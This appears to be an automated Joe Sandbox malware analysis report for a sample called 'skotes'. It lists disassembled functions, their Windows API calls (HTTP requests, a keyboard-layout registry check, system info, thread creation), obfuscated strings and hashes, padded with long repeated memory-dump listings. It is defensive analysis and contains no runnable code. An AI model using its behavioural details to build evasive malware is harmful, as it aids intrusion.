Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectFileReadSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 2167506142-885246636
Opcode ID: 9caf95b290085bebad127fc21585d5809fd3d4892cca8e878278307e74c09e7d
Instruction ID: c9b3448fc826991a2665d817c82c09c05b19eba1403a413c4812a73f253069d7
Opcode Fuzzy Hash: 9caf95b290085bebad127fc21585d5809fd3d4892cca8e878278307e74c09e7d
Instruction Fuzzy Hash: 81B126B16101189BDB28DF28CCC4BEEBB75EF45304F5081A9F509A72D1DB319AC4CB95

Function 00C36020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 00C3617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 00C36271

Strings

00000419, xrefs: 00C36098
Keyboard Layout\Preload, xrefs: 00C36054
00000422, xrefs: 00C360C9
0000043f, xrefs: 00C3612B
00000423, xrefs: 00C360FA

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: EnumOpenValue
String ID: 00000419$00000422$00000423$0000043f$Keyboard Layout\Preload
API String ID: 2571532894-3963862150
Opcode ID: 48b0e2a95a66bcb287f89764c71029fbca37e0a6c9a46023b4602f7d3448e629
Instruction ID: 62bad1035035aaa4956d1d5a685861538ba9c86011d9d8edb612a0d2f95a7b57
Opcode Fuzzy Hash: 48b0e2a95a66bcb287f89764c71029fbca37e0a6c9a46023b4602f7d3448e629
Instruction Fuzzy Hash: D5B1B171900168ABDB24DB64CC85BDEB7B9AF04300F5442E9F509E7291DB74AFE88F54

Function 00C37D30 Relevance: 9.2, APIs: 1, Strings: 4, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00C37ED3

Strings

JjssPV==, xrefs: 00C381E2
JjsrPl==, xrefs: 00C3828A
JjssOl==, xrefs: 00C3813A
JjsrQV==, xrefs: 00C38092

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID: JjsrPl==$JjsrQV==$JjssOl==$JjssPV==
API String ID: 1721193555-3123340372
Opcode ID: 1ca2615ebe7a4697d642409668210747a4c8d60af1dcc8acb28ffe55735bf403
Instruction ID: dc7fb04abcecf97b7088531347ab22cf9ae79ef8ac90c650392fcd176b172e59
Opcode Fuzzy Hash: 1ca2615ebe7a4697d642409668210747a4c8d60af1dcc8acb28ffe55735bf403
Instruction Fuzzy Hash: 7AE13870E10244ABDF24BB68DC4B3AE7B71AB45724F94069CE4156B3C2DB354F85ABC2

Function 00C71ABC Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C71775: CreateFileW.KERNEL32(00000000,00000000,?,00C71B65,?,?,00000000,?,00C71B65,00000000,0000000C), ref: 00C71792

__dosmaperr.LIBCMT ref: 00C71BD7
GetFileType.KERNEL32(00000000), ref: 00C71BE3
__dosmaperr.LIBCMT ref: 00C71BF6
__dosmaperr.LIBCMT ref: 00C71D9C

Strings

H, xrefs: 00C71D21

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: __dosmaperr$File$CreateType
String ID: H
API String ID: 3443242726-2852464175
Opcode ID: 9b1eb626390444f0655f2f2528a092fc07fd298faa9bd2051a13663b2f4d4eb8
Instruction ID: 11da910ef22576498d7bcdf3f79cd20bf34f9eb22b9295fc7ca210b76ccdfd35
Opcode Fuzzy Hash: 9b1eb626390444f0655f2f2528a092fc07fd298faa9bd2051a13663b2f4d4eb8
Instruction Fuzzy Hash: 45A11732A141448FCF299F6CCC91BAE3BA1AB06324F18429AEC56AF2D1D6359D12DB51

Function 00C37590 Relevance: 4.7, APIs: 3, Instructions: 158
sleepthreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064,C21C428B,?,00000000,00C79138,000000FF), ref: 00C375CC
CreateThread.KERNEL32(00000000,00000000,00C37430,00C98638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 00C376BE
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00C376C9

Part of subcall function 00C4D0C7: RtlWakeAllConditionVariable.NTDLL ref: 00C4D17B

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Sleep$ConditionCreateThreadVariableWake
String ID:
API String ID: 79123409-0
Opcode ID: f149900f0e97d0689234397a269b70012c1d3d8c3369a9f68f3fa0b55e6d0f30
Instruction ID: a72de87d9e791f5bc5711ff608514d83bcfc3e2b90bf1d871a9987c6838b4134
Opcode Fuzzy Hash: f149900f0e97d0689234397a269b70012c1d3d8c3369a9f68f3fa0b55e6d0f30
Instruction Fuzzy Hash: 5D51E3B0210244EBEB28DF28CC89B8C3BA1FB46704F50462AF8159B7D1CB79D588CF95

Function 00C66FB4 Relevance: 4.6, APIs: 3, Instructions: 145
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileType.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00C66EE6), ref: 00C66FD6
GetFileInformationByHandle.KERNEL32(?,?), ref: 00C67030
__dosmaperr.LIBCMT ref: 00C670C5

Part of subcall function 00C6732A: __dosmaperr.LIBCMT ref: 00C6735F

Memory Dump Source

